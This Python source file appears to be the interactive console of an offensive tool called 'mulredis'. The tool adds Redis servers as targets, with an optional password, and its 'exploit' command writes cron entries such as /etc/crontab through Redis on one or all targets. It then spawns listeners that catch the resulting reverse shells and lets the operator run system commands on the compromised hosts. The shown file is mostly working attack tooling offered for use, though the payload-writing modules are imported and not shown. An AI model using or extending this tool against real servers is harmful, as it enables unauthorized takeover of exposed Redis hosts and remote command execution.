# -*- coding:utf-8 -*-
import multiprocessing
import time
from lib import at
from lib import comred
from parse import parse
import sys

if sys.version.startswith("2"):
    from lib.log import log2 as log
else:
    from lib.log import log


def ss(shells):
    id = 0
    if len(shells) == 0:
        log.mlog.prin("[*] No shell connection.")
    else:
        log.mlog.prin("[*] shell as follow:")
        for s in shells:
            log.mlog.prin(str(id) + "> " + s)
            id += 1


def sr(rshells):
    id = 0
    if len((rshells)) == 0:
        log.mlog.prin("[*] No redis connection.")
    else:
        log.mlog.prin("[*] redis shell as follow:")
        for r in rshells:
            log.mlog.prin(str(id) + "> " + r)
            # log.mlog.prin(str(id) + "> " + r.rhost)
            id += 1


def add(lhost, rhost, rport=6379, rshells={}, auth=None):
    conredis = comred.conredis(lhost)
    if rport == None:
        rport = 6379
    if auth != None:
        if conredis.connect(rhost, rport, auth) == None:
            log.mlog.prin("[!] Redis connect failed:" + rhost + ":" + str(rport))
            return False

    elif conredis.connect(rhost, rport) == None:
        log.mlog.prin("[!] Redis connect failed:" + rhost + ":" + str(rport))
        return False
    rshells[rhost] = conredis


def phelp():
    ss = "* ss / show sessions : show all shell sessions or select a shell session."
    log.mlog.prin("*" * (len(ss) + 1))
    log.mlog.prin("* help: get help.")
    log.mlog.prin(ss)
    log.mlog.prin("* sr / show redis: show all redis sessions or select a redis session.")
    log.mlog.prin("* add: add a new target. example: add xx.xxx.xx.x [port] [auth] \n* - add xx.xxx.xx.x 6379 ")
    log.mlog.prin("* session: select a shell session")
    log.mlog.prin("* redis: select a redis session")
    log.mlog.prin("* exploit: try to get shell by redis.\n* - example:\n* - exploit\n* - exploit 0\n* - exploit all")
    log.mlog.prin(
        "* config: modify shell config.\n*  - example: config redis_shell_id key value\n*  - config 1 file /etc/crontab\n*  - config 1 shell_key \"anything you want.\n*  - config get [redis_shell_id] ")
    log.mlog.prin("* q / exit : exit.")
    log.mlog.prin("*" * (len(ss) + 1))


def shelp():
    what = "* what: type of this session."
    log.mlog.prin("*" * (len(what) + 1))
    log.mlog.prin("* back: back to main menu.")
    log.mlog.prin(what)
    log.mlog.prin("* help: get help.")
    log.mlog.prin("*" * (len(what) + 1))


def getshell(shell):
    log.mlog.prin("[*] system command can be execute.")
    while True:
        cmd = log.mlog.input("> ").strip()
        if cmd == "back":
            log.mlog.prin("[*] shell in background.")
            break
        if cmd == "help":
            shelp()
            continue
        if cmd == "what":
            log.mlog.prin("[*] You are in shell session.")
            continue
        if cmd == "exit":
            des = log.mlog.input("[*] Are you sure want to exit?{y/N}")
            if des == "" or des == None or des.lower().strip() == "n":
                log.mlog.prin("enter back to let shell on background.")
                continue
            elif des.lower().strip() == "y":
                shell["InputSocket"].send(cmd.encode("utf-8"))
                shell = {}
                break

        cmd += "\n"
        shell["InputSocket"].send(cmd.encode("utf-8"))
        time.sleep(0.5)
        try:
            res = shell["InputSocket"].recv(10000).decode("utf-8")
        except UnicodeDecodeError as e:
            log.mlog.prin(
                "[!] Some decode error: " + str(
                    e) + "\nYou'd better execute `" + cmd.strip() + " |base64 ` to replace `" + cmd.strip() + "`")
            continue

        log.mlog.prin(res.replace(cmd, ""))


def getredis(conredis):
    while True:
        cmd = log.mlog.input("reshell-{rhost}> ".format(rhost=conredis.rhost)).strip()
        if cmd == "back":
            log.mlog.prin("[*] redis shell in background.")
            break
        if cmd == "help":
            shelp()
            continue
        if cmd == "what":
            log.mlog.prin("You are in redis session, remote server: " + conredis.rhost + ":" + str(conredis.rport))
            continue
        conredis.redisshell(cmd)


def interactive(shells, rshells):
    log.mlog.prin("[*] mulredis interactive shell.\nEnter help to get help and q to exit.")
    shellcontext = {
        "preshell": None,
        "nowshell": None,
    }
    rediscontext = {
        "preredis": None,
        "nowredis": None
    }
    s = None
    r = None
    sl = []
    rl = []
    # 初始化redis会话列表
    if rshells != None and rshells != {}:
        for l in rshells.values():
            rl.append(l)
    # 初始化shell会话列表
    if shells != None and shells != {}:
        for l in shells.values():
            sl.append(l)

    while True:
        cmd = log.mlog.input("mulredis-shell> ")
        log.mlog.prin(cmd)
        if cmd == None or cmd == "\n" or cmd == "":
            continue
        if cmd.startswith("show sockets") or cmd.startswith("ss"):
            if (len(cmd.split(" ")) == 3 and cmd.startswith("show sockets")) or (
                    len(cmd.split(" ")) == 2 and cmd.startswith("ss")):
                id = int(cmd.split(" ")[1])
                try:
                    shellcontext["preshell"] = s
                    shellcontext["nowshell"] = sl[id]
                except Exception as e:
                    log.mlog.prin("[*] not found shell by id:" + str(id))
                    continue
                s = shellcontext["nowshell"]
                log.mlog.prin("[*] Now session is:" + s["remoteIP"])
                getshell(s)
            else:
                if shells != None and shells != {}:
                    for l in shells.values():
                        sl.append(l)
                ss(shells)
            continue
        if cmd.startswith("show redis") or cmd.startswith("sr"):
            if ((len(cmd.split(" ")) == 3 and cmd.startswith("show redis"))) or (
                    len(cmd.split(" ")) == 2 and cmd.startswith("sr")):
                id = int(cmd.split(" ")[1])
                try:
                    rediscontext["preredis"] = r
                    rediscontext["nowredis"] = rl[id]  # 需要替换为当前redis
                except Exception as e:
                    log.mlog.prin("not found redis by id:" + str(id))
                    continue
                r = rediscontext["nowredis"]
                log.mlog.prin("[*] Now redis session is:" + r.rhost)
                getredis(r)
            else:
                if rshells != None and rshells != {}:
                    for l in rshells.values():
                        rl.append(l)
                sr(rshells)
            continue
        if cmd.startswith("session"):
            id = int(cmd.split(" ")[1])
            try:
                shellcontext["preshell"] = s
                shellcontext["nowshell"] = sl[id]
            except Exception as e:
                log.mlog.prin("[*] not found shell by id:" + str(id))
                continue
            s = shellcontext["nowshell"]
            log.mlog.prin("[*] Now session is:" + s["remoteIP"])
            getshell(s)
            continue
        if cmd == "help":
            phelp()
            continue
        if cmd.startswith("redis"):
            id = int(cmd.split(" ")[1])
            try:
                rediscontext["preredis"] = r
                rediscontext["nowredis"] = rshells[id]  # 需要替换为当前redis
            except Exception as e:
                log.mlog.prin("not found redis by id:" + str(id))
                continue
            r = rediscontext["nowredis"]
            log.mlog.prin("[*] Now redis session is:" + r.rhost)
            getredis(r)
            continue
        if cmd.startswith("config"):
            tmp = cmd.strip().split(" ")
            if len(tmp) == 2:
                if tmp[1] == "get":
                    for s in rl:
                        log.mlog.prin(s.info)
                else:
                    log.mlog.prin("[!] error arguments for config")
                continue
            if len(tmp) == 3:
                if tmp[1] == "get":
                    id = int(tmp[2])
                    try:
                        log.mlog.prin(rl[id].info)
                    except IndexError:
                        log.mlog.prin("[*] id:" + str(id) + " was not exist in redis list.")
                    continue

            if len(tmp) == 5:
                if tmp[1] == "set":
                    id = int(tmp[2])
                    key = tmp[3]
                    value = tmp[4]

                    session = rl[id]
                    if key in session.info.keys():
                        session.info[key] = value
                    else:
                        log.mlog.prin("[!] " + key + " was not exist in session properties.")

                    continue
            if len(tmp) != 1:
                log.mlog.prin("[!] error arguments for config.")
                continue

        if cmd.startswith("exploit"):
            tmp = cmd.split(" ")
            if len(tmp) == 1 or tmp[1].lower() == "all":
                # 对所有redis写入定时任务
                for session in rl:
                    if session.writefile() != False:
                        inputs = multiprocessing.Process(target=at.getInputSocket,
                                                         args=(session.lport, shells, session.rhost))
                        inputs.start()
                    else:
                        log.mlog.prin("[!] " + session.rhost + ":" + str(session.rport) + " write file failed.")
                continue
            if len(tmp) == 2:
                id = int(tmp[1])
                if len(rl) <= id:
                    log.mlog.prin("[!] id:" + str(id) + " was not exists.")
                    continue
                session = rl[id]
                if session.writefile() != False:
                    inputs = multiprocessing.Process(target=at.getInputSocket,
                                                     args=(session.lport, shells, session.rhost))
                    inputs.start()
                else:
                    log.mlog.prin("[!] " + session.rhost + ":" + str(session.rport) + " write file failed.")
                continue
            log.mlog.prin("[!] error argument for exploit.")
            continue

        if cmd.startswith("add"):
            tmp = cmd.split(" ")
            if len(tmp) < 2 or tmp[0] != "add":
                log.mlog.prin("[!] error argument for add.")
                continue
            target = tmp[1].strip()
            if target in rshells:
                log.mlog.prin("[!] " + target + " already exists.")
                continue
            port = 6379
            auth = None
            if len(tmp) == 3:
                port = int(tmp[2].strip())
            if len(tmp) == 4:
                auth = tmp[3].strip()
            add(parse.localip, target, port, rshells, auth)
            continue

        if cmd == "q" or cmd == "exit":
            # need to close shell.
            if shells != None:
                log.mlog.prin("[*] all sockets disconnected.")
            pass
            for r in rshells:
                rshells[r].clear()
            log.mlog.prin("[*] all redis connection was closed.")
            log.mlog.prin("[*] Exit.")
            break
        log.mlog.prin("command `" + cmd.strip() + "` was not found in mulredis-shell.plz check your enter.")
